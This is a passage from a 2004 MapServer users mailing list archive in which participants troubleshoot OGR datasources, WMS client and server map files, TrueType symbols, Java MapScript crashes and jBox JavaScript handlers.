> >>>using driver `VRT' successful.
> >>>.
> >>>.
> >>>.
> >>>OGRFeature(story):87
> >>>  desc_id (String) = 400E2174-65BF-3224-7CEF493349368AE7
> >>>  group_id (String) = 0
> >>>  comm_id (String) = DE9E2A07-B0D0-EA24-1BD6282422D24117
> >>>  user_id (String) = 4A335096-7ADD-419B-9E16-1995F233D3F8
> >>>  elev (Real) =                  0
> >>>  units (String) =
> >>>  rtype (String) =
> >>>  mu (String) =
> >>>  ldesc (String) =
> >>>  min (String) =
> >>>  lmu (String) =
> >>>  struct (String) =
> >>>  txt (String) =
> >>>  snum (String) =
> >>>  purp (String) =
> >>>  sfeat (String) =
> >>>  azi (Real) =                  0
> >>>  dip (Real) =                  0
> >>>  stdesc (String) =
> >>>  name (String) =
> >>>  sdesc (String) =
> >>>  story_x (Real) = -1993136.4272429
> >>>  story_y (Real) = 471899.80462409
> >>>  share (Integer) = 0
> >>>  release (Integer) = 1
> >>>  date (String) = 2004-01-22 16:08:11.000
> >>>  POINT (-1993136.427 471899.805 0.000)
> >>>
> >>>============================================
> >>>Joost van Ulden
> >>>Programmer/Analyst
> >>>Natural Resources Canada / Ressources naturelles Canada Geological
> >>>Survey of Canada / Commission geologique du Canada 101 - 
> 605 Robson 
> >>>Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.-B.)
> >>>V6B 5J3
> >>>Office/Bureau:  604.666.7525
> >>>fax/telecopieur: 604.666.1124
> >>>jvanulde at nrcan.gc.ca
> >>>============================================
> >>>
> >>>
> >>>
> >>>
> >>>>-----Original Message-----
> >>>>From: Tyler Mitchell [mailto:TMitchell at lignum.com]
> >>>>Sent: Thursday, January 29, 2004 9:46 AM
> >>>>To: Van Ulden, Joost
> >>>>Subject: Re: [Mapserver-users] OGR unable to access datasource
> >>>>
> >>>>
> >>>>
> >>>>
> >>>>
> >>>>
> >>>>
> >>>>
> >>>>
> >>>>> LAYER
> >>>>>   NAME OGRPoints
> >>>>>   TYPE POINT
> >>>>>   CONNECTIONTYPE OGR
> >>>>>   CONNECTION "c:\inetpub\wwwroot\MS_DEMO\ogr.ovf"
> >>>>>   DATA "Desc_story"
> >>>>>   STATUS default
> >>>>>   CLASS
> >>>>>     COLOR 255 0 0
> >>>>>   END
> >>>>
> >>>>I just asked for your layer definition, I see it here in your old 
> >>>>email, so nevermind. Are you sure about the text case for 
> the "DATA" 
> >>>>parameter?  Send me your output from ogrinfo!
> >>>>
> >>>
> >>>_______________________________________________
> >>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu 
> >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >>>
> >>
> >>--
> >>  -----------------------------------------------------------------
> >>|Paul Spencer                           spencer at dmsolutions.ca    |
> >>|-----------------------------------------------------------------|
> >>|Applications & Software Development                              |
> >>|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
> >>  -----------------------------------------------------------------
> >>
> > 
> > 
> 
> -- 
>   -----------------------------------------------------------------
> |Paul Spencer                           spencer at dmsolutions.ca    |
> |-----------------------------------------------------------------|
> |Applications & Software Development                              |
> |DM Solutions Group Inc                 http://www.dmsolutions.ca/|
>   -----------------------------------------------------------------
> 


From gimond at hotmail.com  Thu Jan 29 17:42:06 2004
From: gimond at hotmail.com (MG)
Date: Thu, 29 Jan 2004 20:42:06 -0500
Subject: [Mapserver-users] intersects() method
Message-ID: 

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01C3E6A8.5BF23500
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Does the method intersects(), just return true or false, or does it =
actually create an intersect between 2 shapes (much like ArcInfo).

For example: if $clip is a polygon that exists within the bounds of =
$poly, will $poly->intersects($clip) just return an integer, or will it =
also clip $poly with $clip?

Manny
------=_NextPart_000_0007_01C3E6A8.5BF23500
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable









Does the method intersects(), just =
return true or=20
false, or does it actually create an intersect between 2 shapes (much =
like=20
ArcInfo).


 


For example: if $clip is a polygon that =
exists=20
within the bounds of $poly, will $poly->intersects($clip) just return an integer, or will it =
also clip=20
$poly with $clip?


 


Manny


------=_NextPart_000_0007_01C3E6A8.5BF23500--


From vinko at cprsig.cl  Thu Jan 29 18:04:00 2004
From: vinko at cprsig.cl (Vinko Vrsalovic)
Date: Thu, 29 Jan 2004 23:04:00 -0300
Subject: [Mapserver-users] intersects() method
In-Reply-To: 
References: 
Message-ID: <20040130020400.GA1966@landsat.cprsig.cl>

On Thu, Jan 29, 2004 at 08:42:06PM -0500, MG wrote:
> Does the method intersects(), just return true or false, or does it actually create an intersect between 2 shapes (much like ArcInfo).
> 
> For example: if $clip is a polygon that exists within the bounds of $poly, will $poly->intersects($clip) just return an integer, or will it also clip $poly with $clip?
> 
> Manny

it returns boolean. 

Latest PostGIS w/GEOS has a function to do the actual intersection.


-- 
Vinko Vrsalovic 
http://www.cprsig.cl


From mapgisnewbies at yahoo.com  Thu Jan 29 21:19:40 2004
From: mapgisnewbies at yahoo.com (we wei)
Date: Thu, 29 Jan 2004 21:19:40 -0800 (PST)
Subject: [Mapserver-users] latest window binary with gdal csv version
Message-ID: <20040130051940.62486.qmail@web20726.mail.yahoo.com>

--0-1532763892-1075439980=:61634
Content-Type: text/plain; charset=us-ascii

Hello all,
 
I am working on a problem with database access in the mapserver.  And I noticed that there is a new feature from the latest gdal/ogr library ( CVS version as of 2004-01-06 ) that doesn't need require the spatial library.  I am very interested in it.  And i just wonder if there is any pre-complied window binary which include this latest gdal package in it so that I can give a try.
 
Many thanks!
 
Stephanie


---------------------------------
Do you Yahoo!?
Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-1532763892-1075439980=:61634
Content-Type: text/html; charset=us-ascii


Hello all,


 


I am working on a problem with database access in the mapserver.  And I noticed that there is a new feature from the latest gdal/ogr library ( CVS version as of 2004-01-06 ) that doesn't need require the spatial library.  I am very interested in it.  And i just wonder if there is any pre-complied window binary which include this latest gdal package in it so that I can give a try.


 


Many thanks!


 


Stephanie

Do you Yahoo!?

Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-1532763892-1075439980=:61634--


From ms57 at streamyx.com  Thu Jan 29 23:03:38 2004
From: ms57 at streamyx.com (Steve McCrone)
Date: Fri, 30 Jan 2004 15:03:38 +0800
Subject: [Mapserver-users] jBox & onSubmit()
Message-ID: <006201c3e6ff$2ff41480$433f5edb@steve>

jBox & onSubmit()

I have included the jBox applet and implemented zoom, pan and info.
I wish to open my query results in a separate window, and to do this I need
to have a javascript function (see below). I wish to call this function
toFrame() when the page gets submitted. Therefore, I have  -




But, the toFrame() only gets called when the Refresh button gets pushed
(i.e.).
Even though in the setbox_handler() (after zoom-in, for example) I do have a
submit statement, the toFrame() does not get called, even though it appears
the page is being submitted.

Thanks

 function setbox_handler(name, minx, miny, maxx, maxy, redraw) {
  document.mapserv.imgbox.value = minx + " " + miny + " " + maxx + " " +
maxy;
  document.mapserv.imgxy.value = minx + " " + miny;
  document.mapserv.submit();
 }


 function toFrame() {
   alert("hi")
   if (document.mapserv.mode.value == "query" || document.mapserv.mode.value
== "nquery") {
     document.mapserv.target = "querywindow";
   } else {
     document.mapserv.target = "_self";
   }
 }



From BVT at sns.dk  Fri Jan 30 00:38:00 2004
From: BVT at sns.dk (Thomsen, Bo Victor)
Date: Fri, 30 Jan 2004 09:38:00 +0100
Subject: SV: [Mapserver-users] has anyone got the wingdings TTF font to wo
 rk with mapserver
Message-ID: <5C983F967E4FA04F8CB4E10EEB4924E7101AB5@snsc-ex001.sns.adroot.dk>

To Stephen -

Windings is a "symbol" truetype font. Symbol tt fonts has a different
internal number offset than the normal tt fonts. Just add 61440 (IIRC) to
the apparent character number, i.e..:  

SYMBOL
  NAME "funky"
  TYPE TRUETYPE
  FONT wingding
  ANTIALIAS true
#  CHARACTER "µ" ...  181 + 61440 = 61621 
  CHARACTER ""
END


-----Oprindelig meddelelse-----
Fra: Stephen Clark [mailto:stephen.clark at focus.ca]
Sendt: 29. januar 2004 23:52
Til: mapserver-users at lists.gis.umn.edu
Emne: [Mapserver-users] has anyone got the wingdings TTF font to work
with mapserver


Hi ALL,

I would like to display a symbol from the wingding TTF for symbols.

Does anyiong have a working symbol definition?

Here is my attempt:

SYMBOL
  NAME "funky"
  TYPE TRUETYPE
  FONT wingding
  ANTIALIAS true
  CHARACTER "µ"
END

thanks
Stephen
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From ms57 at streamyx.com  Fri Jan 30 00:49:25 2004
From: ms57 at streamyx.com (Steve McCrone)
Date: Fri, 30 Jan 2004 16:49:25 +0800
Subject: [Mapserver-users] jBox & onSubmit()
Message-ID: <008601c3e70d$f72bf4b0$433f5edb@steve>

I have included the jBox applet and implemented zoom, pan and info.
I wish to open my query results in a separate window, and to do this I need
to have a javascript function (see below). I wish to call this function
toFrame() when the page gets submitted. Therefore, I have  -



But, the toFrame() only gets called when the Refresh button gets pushed
(i.e.).
Even though in the setbox_handler() (after zoom-in, for example) I do have a
submit statement, the toFrame() does not get called, even though it appears
the page is being submitted.

Thanks

 function setbox_handler(name, minx, miny, maxx, maxy, redraw) {
  document.mapserv.imgbox.value = minx + " " + miny + " " + maxx + " " +
maxy;
  document.mapserv.imgxy.value = minx + " " + miny;
  document.mapserv.submit();
 }


 function toFrame() {
   alert("hi")
   if (document.mapserv.mode.value == "query" || document.mapserv.mode.value
== "nquery") {
     document.mapserv.target = "querywindow";
   } else {
     document.mapserv.target = "_self";
   }
 }



From hwehr at hs-harz.de  Fri Jan 30 01:33:36 2004
From: hwehr at hs-harz.de (Harald Wehr)
Date: Fri, 30 Jan 2004 10:33:36 +0100
Subject: [Mapserver-users] Globe View with Orthographic Projection
In-Reply-To: <401950CC.5090801@pobox.com>
References: <400E4818.7090004@hs-harz.de> <401241B5.6020002@pobox.com> <4014CE5C.6040800@hs-harz.de> <401532C8.10501@pobox.com> <4018B69A.5010406@hs-harz.de> <401950CC.5090801@pobox.com>
Message-ID: <401A24F0.5030104@hs-harz.de>

Many thanks for your changes. Now Mapserver produces the images we try 
to display.

> eg.
> PROCESSING "LOAD_WHOLE_IMAGE=YES"

This processing works well with our data.

> eg.
> PROCESSING "LOAD_FULL_RES_IMAGE=YES"
> 
Enabling this processing leeds to very large response times of mapserver 
so we left this diabled. We made tests with the Etopo2 data which is a 
compressed 24 bit tiff file of about 75 MB.

thanks again!

Harald





From ms57 at streamyx.com  Fri Jan 30 01:40:15 2004
From: ms57 at streamyx.com (Steve McCrone)
Date: Fri, 30 Jan 2004 17:40:15 +0800
Subject: [Mapserver-users] False Alarm for onsubmit()
Message-ID: <009601c3e715$12b46e90$433f5edb@steve>

OK, Just a simple fix -

function setbox_handler(name, minx, miny, maxx, maxy, redraw) {
  document.mapserv.imgbox.value = minx + " " + miny + " " + maxx + " " +
maxy;
  document.mapserv.imgxy.value = minx + " " + miny;
  toFrame();//simply call the function before submit page
  document.mapserv.submit();

 }



From arnulf.christl at ccgis.de  Fri Jan 30 01:53:13 2004
From: arnulf.christl at ccgis.de (Arnulf Christl)
Date: Fri, 30 Jan 2004 10:53:13 +0100
Subject: [Mapserver-users] WAY off forum topics --- Mexico image?
In-Reply-To: <13685000AB02F2479DF2C632B9B1988E16C131@imager8.corp.spaceimaging.com>
References: <13685000AB02F2479DF2C632B9B1988E16C131@imager8.corp.spaceimaging.com>
Message-ID: <401A2989.8040600@ccgis.de>

Howard Mark wrote:

>An associate needs an image of Mexico. Need not be hi-res - just 1024x768 for the country is fine.
>Georeferenced would be even better.
>Anyone got such a beast?
>TIA 
>Mark
>  
>

Hi,
we got something like that (digital elevation), it has been provided by:

http://www-cger.nies.go.jp/grid-e/gridtxt/grid1.html
http://www.ngdc.noaa.gov/seg/topo/globeget.shtml

We have optimized it a little for UMN MapServer, it is georeferenced and 
you can have it in TIFF, PNG, with highcolor or 256, compressed or 
uncompressed. We don't get it smaller than around 2.5 MB, does your 
email account take that? Else we can put it somewhere to download, just 
give us notice.

You can have a look at it online on our wms server:
http://wms.ccgis.de
You find the project behind the link "Middle America" (the basis for an 
archaeological project, the alphanuermical data is still beeing 
processed). Activate the layer "Elevation Model".

Regards, Arnulf.



From gleinerteruel at hotmail.com  Fri Jan 30 03:47:27 2004
From: gleinerteruel at hotmail.com (Gleiner Crivelini)
Date: Fri, 30 Jan 2004 11:47:27 +0000
Subject: [Mapserver-users] Changing map file parameters via URL
Message-ID: 


Hi everyone.


I get problems when trying to change map file parameters via URL, that is CGI procedurement.


Does anybody know what exactly is the syntax to change the DATA parameter via URL?


When I tryied the answer was:


Error with POSTGIS data variable. You specified '&lt;check your .map file&gt;'.<br>
Standard ways of specifiying are : <br>
(1) 'geometry_column from geometry_table' <br>
(2) 'geometry_column from (&lt;sub query&gt;) as foo using unique &lt;column name&gt; using SRID=&lt;srid#&gt;' <br><br>


Make sure you put in the 'using unique  &lt;column name&gt;' and 'using SRID=#' clauses in.
What should be understood by (&lt;sub query&gt;)  and  column name&gt ?


Gleiner.

MSN Messenger: converse com os seus amigos online.  Instale gr?tis. Clique aqui.  


From gis at schnegg.net  Fri Jan 30 05:10:16 2004
From: gis at schnegg.net (Frank Rittinger)
Date: Fri, 30 Jan 2004 14:10:16 +0100
Subject: [Mapserver-users] Java Mapscript craches JVM
Message-ID: <401A57B8.10408@schnegg.net>

Hello list,

I have some JavaMapscript related questions.

I have a mapserver system based on JavaMapscript and the tomcat servlet 
engine.  My system is mapserver 4.0.1 on WinXP with Tomcat 5.

1) My java_mapscript.dll randomly crashes the JVM and hence the Servlet 
engine.  The crashes happen in different mapscript functions in native 
code.  Is this a threading issue, or do you have any suggestions?

2) How can I catch errors from mapscript, e.g. a mapfile cannot be 
rendered because it uses incorrect syntax?  The same as above: before I 
can get the error message from mapscript, it already killed the JVM.

3) Do I have to delete all mapserver related objects explicitly through 
methods like mapObj.delete() or does Java's GC-mechanism the job?

Might there be problems with the way I build my java_mapscript.dll?  If 
you have a JavaMapscript system running, would you share your 
java_mapscript.dll?

Regards Frank




From mapserver at geochem.de  Fri Jan 30 05:52:01 2004
From: mapserver at geochem.de (mapserver at geochem.de)
Date: Fri, 30 Jan 2004 14:52:01 +0100
Subject: [Mapserver-users] Outlinecolor of a MS_LAYER_LINE Type
Message-ID: <27589417$1075470031401a5ecfe9e859.59354732@config2.schlund.de>

Hi List,

i want to set the outlinecolor within the StyleObj of a layer with the
type MS_LAYER_LINE. I use the following code but the outlinecolor do not
appear:

$Layer -> set("type", MS_LAYER_LINE );
$poClass = ms_newClassObj($Layer);
$styleObj = ms_newStyleObj($poClass);
$styleObj -> color -> setRGB ( 0, 0, 255 );
$styleObj -> outlinecolor -> setRGB ( 0 , 0, 50);
$styleObj -> set ("symbolname", "kreis");
$styleObj -> set ("size", 8);
$poClass -> set("name", "Germany");

The same code works with MS_LAYER_POINT and MS_LAYER_POLYGON.

Do i miss something?
Thanks in advance.
Nicol


From jnielsen at aero-graphics.com  Fri Jan 30 07:02:25 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Fri, 30 Jan 2004 08:02:25 -0700
Subject: [Mapserver-users] Q: Dynamic Legends
In-Reply-To: <13858AA1A74F30419F319ACB66A9D12203B270@mercator.topozone.com>
References: <13858AA1A74F30419F319ACB66A9D12203B270@mercator.topozone.com>
Message-ID: <1075474945.401a7201923fe@www.agi-lan.com>

Quoting Ed McNierney :

> Daniel -
> 
> I don't think that's quite the scenario being described.  I have a
> similar problem that is not soluble AFAIK with current MapServer
> technology.
> 
> I have a Land Use map that covers the state with polygons, each of which
> is assigned one of 37 land use codes.  Any given map is unlikely to
> display more than 3 or 4 different codes, but they all have a legend
> with 37 entries in it, making the 3 that are actually ON the map hard to
> find.
> 
> It's not a matter of selecting features by spatial scale, but by
> selecting legend symbology based on data that is actually in the current
> view frame.
> 
> 	- Ed

If this data was in postgresql could you not force the parsing of the returned
data and use that in turn to generate the legend dynamically? Just a quick
thought on it would seem to indicate this would not be done by mapserver. The
creation of the legend that is but it would be the one looking for the data (ie:
grabbing only that which literally shows up in your current view) and hence
indirectly giving you the information you need to do so.  Still being an extreme
novice at this software I have no idea if that is even feasible.

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From blewis at atsincorp.com  Fri Jan 30 07:04:27 2004
From: blewis at atsincorp.com (Ben Lewis)
Date: Fri, 30 Jan 2004 10:04:27 -0500
Subject: [Mapserver-users] WMS question
Message-ID: <248491BE875FBE40B765CC47E419144B64FBF2@mosespa.ats.atsincorp.com>

Can anyone tell me what's wrong with this map file serving up a WMS?  I
get a capabilities document back.  I get an image in the browser, but
when I try to load the service to a wms client, no image appears.  I
suspect it's projection related.

Here is the capabilities URL:
http://65.40.143.163/cgi-bin/mapserv?map=e:\lotus\apache\htdocs\romap\ro
map.map&WMTVER=1.1.0&REQUEST=getcapabilities


Here is the map file I'm using:
------------------------------------------------

## Start of map file - created Tue Jan 15 09:01:36 2002
#
NAME View1 
SIZE 445 245
STATUS ON
TRANSPARENT on

SHAPEPATH 'E:\Lotus\Apache\htdocs\romap\data/'
SYMBOLSET "symbols/symbols.sym"

#IMAGECOLOR 11 206 255
IMAGETYPE gif
#IMAGETYPE png

 EXTENT 29.2053 -11.7691 40.4571 -0.991321
#EXTENT -180.000 -90.000 180.000 90.000
#EXTENT -80.66 39.11 -74.69 42.25


UNITS dd
#
# Start of web interface definition
#
WEB
  TEMPLATE 'mapdisplay.html'
  IMAGEPATH 'E:\Lotus\Apache\htdocs\romap\mapimages/'
  IMAGEURL '/mapimages/'

METADATA
"wms_title" "ROMAP_SERVER"
"wms_onlineresource"
"http://65.40.143.163/cgi-bin/mapserv?map=e:\lotus\apache\htdocs\romap\r
omap.map"
"wms_srs"  "EPSG:4326" 
END

END  #WEB

#PROJECTION
#      "init=epsg:4326"
#END   


PROJECTION
  "proj=longlat" 
  "ellps=GRS80"   
END   

 
 
#
# Start of reference map
#
#
# Start of layer definitions
#

#LAYER
#NAME "world_adm0"
#DATA 'world_adm0'
#STATUS ON
#TYPE Polygon
#PROJECTION
#"proj=longlat"
#"ellps=GRS80"
#END
#METADATA
#wms_title "world_adm0"
#wms_srs "EPSG:4140"
#END
#CLASS 
#NAME 'world_adm0'
#COLOR 255 255 204
#OUTLINECOLOR 0 51 51
#END 
#END #END OF LAYER

LAYER
NAME "uri_districts"
DATA 'uri_districts'
STATUS ON
TYPE Polygon
PROJECTION
"proj=utm"
"zone=37"
"south"
"ellps=WGS84"
"datum=WGS84"
"units=m"
END
METADATA
wms_title "uri_districts"
wms_srs "EPSG:32737"
END
CLASS 
NAME 'uri_districts'
COLOR -1 -1 -1
OUTLINECOLOR 100 120 245
END 
END #END OF LAYER


LAYER
NAME "uri_gisd_land_cover"
DATA 'uri_gisd_land_cover'
STATUS ON
TYPE Polygon
PROJECTION
"proj=utm"
"zone=37"
"south"
"ellps=WGS84"
"datum=WGS84"
"units=m"
END
METADATA
wms_title "uri_gisd_land_cover"
wms_srs "EPSG:32737"
END
  CLASSITEM Category
  CLASS
   EXPRESSION 'Bare Soil'
    COLOR 161 102 50
    OUTLINECOLOR 0 0 0
 END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Bushland w/ crops'
    COLOR 0 0 0
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Closed Woodland'
    COLOR 187 166 0
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Dense Bushland'
    COLOR 20 164 172
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Forest Plantation'
    COLOR 19 60  30
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Grassland'
    COLOR 195 255 195
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Grassland w/ crops'
    COLOR 119 10 230
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Inland Water'
    COLOR 0 0 255
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Mangrove Forest'
    COLOR 255 0 255
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Natural Forest'
    COLOR 1 130 0
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Open Bushland'
    COLOR 165 250 255
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Open Woodland'
    COLOR 255 249 165
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Salt Crust'
    COLOR 165 165 165
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Sandy Beaches'
    COLOR 255 251 195
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Swamp/Marsh'
    COLOR 119 0 130
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Temporarily Flooded Grassland'
    COLOR 119 100 130
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Woodland w/ crops'
    COLOR 219 0 130
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Cultivated Agriculture'
    COLOR 254 234 198
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Cultivated Tree'
    COLOR 255 199 174
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'Urban Area / Residential Area'
    COLOR 255 0 0
    OUTLINECOLOR 0 0 0
  END  # CLASS
  CLASSITEM Category
  CLASS
    EXPRESSION 'No Data'
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
  END  # CLASS
END #END OF LAYER


END# END OF romap.map MAP FILE

---------------------------------------------------------



:::::::::::::::::::::::::::::::::::::
 Benjamin Lewis
 Advanced Technology Solutions, Inc.
 1525 Oregon Pike, Suite 202
 Lancaster, Pennsylvania 17601-4372
 717.399.7007
 blewis at atsincorp.com
 http://www.atsincorp.com
:::::::::::::::::::::::::::::::::::::



From jnielsen at aero-graphics.com  Fri Jan 30 07:13:23 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Fri, 30 Jan 2004 08:13:23 -0700
Subject: [Mapserver-users] 24bit Raster Image
In-Reply-To: <73D9DCA742FF744EA8A99536AD6ABD11099D43@msicalex2.net.midwestsurveys.com>
References: <73D9DCA742FF744EA8A99536AD6ABD11099D43@msicalex2.net.midwestsurveys.com>
Message-ID: <1075475603.401a749365aff@www.agi-lan.com>

> -----Original Message-----
> From: Richie Pierce [mailto:Richard.Pierce at mail.state.ar.us] 
> Sent: Thursday, January 29, 2004 12:22 PM
> To: mapserver-users at lists.gis.umn.edu
> Subject: [Mapserver-users] 24bit Raster Image
> 
> 
> I am trying to add a 24bit raster image to my map without any success.
> I get an error like this:
> 
> msDrawRaster(): Image handling error. Unrecognized or unsupported image
> format 
> drawEPP(): Image handling error.
> c:\inetpub\wwwroot\test_site\data\index\tifs\beedeville_ne.tif is not an
> EPPL file.
> 
> I browsed the archives and saw some mention of a bug and having to
> re-sample it down to an 8bit image.  I was wondering if there has been
> fixes found for this error.  I would prefer not to create 8bit images
> for a state wide ortho set (server space being limited).   Any help
> would be great.  Thanks

Using a similiar setup here. SLC Valley wide ortho 24bit color image. Below is
my mapserver setup and the basics of my .map file that related to the display of
that rasters.  Everything here works fine accept the display of a legend icon.

[root at vad3rZIM mymstest]# ../../cgi-bin/mapserv -v
MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ
SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER
SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL
INPUT=SHAPEFILE

NAME UTC
STATUS ON
SIZE 600 600
#EXTENT 1400000.0 7000000.0 1900000.0 7500000.0
EXTENT 1468185.000 7329845.000 1563785.000 7473605.000
UNITS FEET 
SHAPEPATH "data"
IMAGECOLOR 0 0 0  
IMAGETYPE PNG24

LAYER
  NAME slc
  TYPE RASTER
  STATUS OFF
  DATA "slc_tiled.tif"
  PROCESSING "DITHER=YES"
  METADATA
    foobar "Salt Lake City Color Ortho 10' Pixel"
    proj "NAD83 Utah Central Stateplane (US Foot)"
    stuff "Just more stuff."
  END
END



-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From mathieu.levesque at cidco.ca  Fri Jan 30 07:12:46 2004
From: mathieu.levesque at cidco.ca (Mathieu Levesque)
Date: Fri, 30 Jan 2004 10:12:46 -0500
Subject: [Mapserver-users] Problem with WMS Client
Message-ID: <401A746E.5070802@cidco.ca>




  
  


Hi everyone,



I have stumbled upon something that, at first sight, looks like a bug
in Mapserver.



The situation is this:



I have one server setup as a WMS Client to another WMS Server.  The WMS
Server has 3 layers, which are all shapefiles.



When I send a GetMap request to the Server directly, I get a map with
all 3 layers.



When I send a GetMap request to the Client, I get a map with only 2 out
of 3 layers, and I can see a Windows popup on the server that says:



"mapserv.exe has generated errors and will be closed by Windows.  You
will need to restart the program".



If I turn off the layer that winds up missing on the map, everything
goes on fine,.



Sad thing is I can't find anything in Apache's logs that will tell me
what's going on (all that's there are "Premature end of script headers:
mapserv.exe" entries), and mapserver isn't logging anything either. 
Also, running shp2img



Here is the mapfile for the machine acting as WMS Server:



NAME FUSION_MTL_JAMES

STATUS ON

SIZE 600 600

EXTENT 300238.877551 5038364.628064 305768.452906 5055285.505418

UNITS METERS

IMAGECOLOR 255 255 255

SHAPEPATH "data"



WEB

    MINSCALE 1000

    MAXSCALE 1550000

    IMAGEPATH "c:/Program Files/Apache
Group/Apache2/htdocs/FusionMtl/tmp/"

    IMAGEURL "/fusionMtl/tmp/"

    

    LOG "c:\Program Files\Apache Group\Apache2\htdocs\FusionMtl\map.log"

    

    METADATA

        WMS_TITLE "Demo de fusion de donnees spatiales via WMS"

        WMS_ABSTRACT "Donnees du port de Montreal"

        WMS_ACCESSCONSTRAINTS none

        

        WMS_ONLINERESOURCE "http://www.cidco.ca"

        

        WMS_SRS "EPSG:32188"

    END

END



DEBUG ON



#Layer that's causing the problem

LAYER

    NAME MTLLINE

    TYPE LINE

    STATUS ON

    DATA "IndexMtline"



    DEBUG ON

    

    CLASS

        COLOR 0 0 0

    END



    METADATA

        WMS_NAME "MTLLINE"

        WMS_TITLE "Contours du port de Montreal"

        WMS_ABSTRACT "Contours du port de Montreal"

        WMS_SRS "EPSG:32188"

        WMS_SERVER_VERSION "1.1.0"

        WMS_ONLINERESOURCE "http://www.cidco.ca"

        WMS_FORMAT "image/gif"

    END

    

    DUMP TRUE

    

END



LAYER

    NAME MTLPOLYGON

    TYPE POLYGON

    STATUS ON

    DATA "IndexMtlPolygon"



    DEBUG ON

        

    CLASS

        COLOR 128 0 0

    END

    

    METADATA

        WMS_NAME "MTLPOLYGON"

        WMS_TITLE "Contours du port de Montreal"

        WMS_ABSTRACT "Contours du port de Montreal"

        WMS_SRS "EPSG:32188"

        WMS_SERVER_VERSION "1.1.0"

        WMS_ONLINERESOURCE "http://www.cidco.ca"

        WMS_FORMAT "image/gif"

    END

    

    DUMP TRUE

    

END



LAYER

    NAME LIMITE

    TYPE LINE

    STATUS ON

    DATA "LimiteMtl"



    DEBUG ON

    

    CLASS

        COLOR 128 0 255

    END

    

    METADATA

        WMS_NAME "LIMITE"

        WMS_TITLE "Contours du port de Montreal"

        WMS_ABSTRACT "Contours du port de Montreal"

        WMS_SRS "EPSG:32188"

        WMS_SERVER_VERSION "1.1.0"

        WMS_ONLINERESOURCE "http://www.cidco.ca"

        WMS_FORMAT "image/gif"

    END

    

    DUMP TRUE

    

END



END



And here is the mapfile for the machine acting as WMS Client
(server.address is set to machine's real IP in mapfile):



NAME DEMO_FUSION_MTL

STATUS ON

SIZE 600 600

EXTENT 300238.877551 5038364.628064 305768.452906 5055285.505418

UNITS METERS

SHAPEPATH "data"

IMAGECOLOR 255 255 255



WEB

    LOG "c:/Program Files/Apache Group/Apache2/htdocs/fusionMtl/wms.log"

    IMAGEPATH "c:/Program Files/Apache
Group/Apache2/htdocs/FusionMtl/tmp/"

    IMAGEURL "/FusionMtl/tmp/"

    MINSCALE 1000

    MAXSCALE 1550000

    

    METADATA

        wms_title "Demo de fusion de donnees spatiales via WMS"

        wms_abstract "Donnees du port de Montreal"

        wms_accessconstraints none

        

        wms_onlineresource "http://www.cidco.ca"

        

        wms_srs "EPSG:32188"

    END

END



DEBUG ON



LAYER

    NAME CONTOURS

    TYPE RASTER

    STATUS ON

    CONNECTIONTYPE WMS

    CONNECTION
"http://server.address/cgi-bin/mapserv.exe?map=c:\Program%20Files\Apache%20Group\Apache2\htdocs\fusionMtl\mtl.map&"

            

    METADATA

        wms_name "MTLLINE"

        wms_title "Contours du port de Montreal"

        wms_abstract "Contours"

        wms_srs "EPSG:32188"

        wms_server_version "1.1.0"

        wms_format "image/gif"

    END    



    DEBUG ON    

END



LAYER

    NAME POLYS

    TYPE RASTER

    STATUS ON

    CONNECTIONTYPE WMS

    CONNECTION
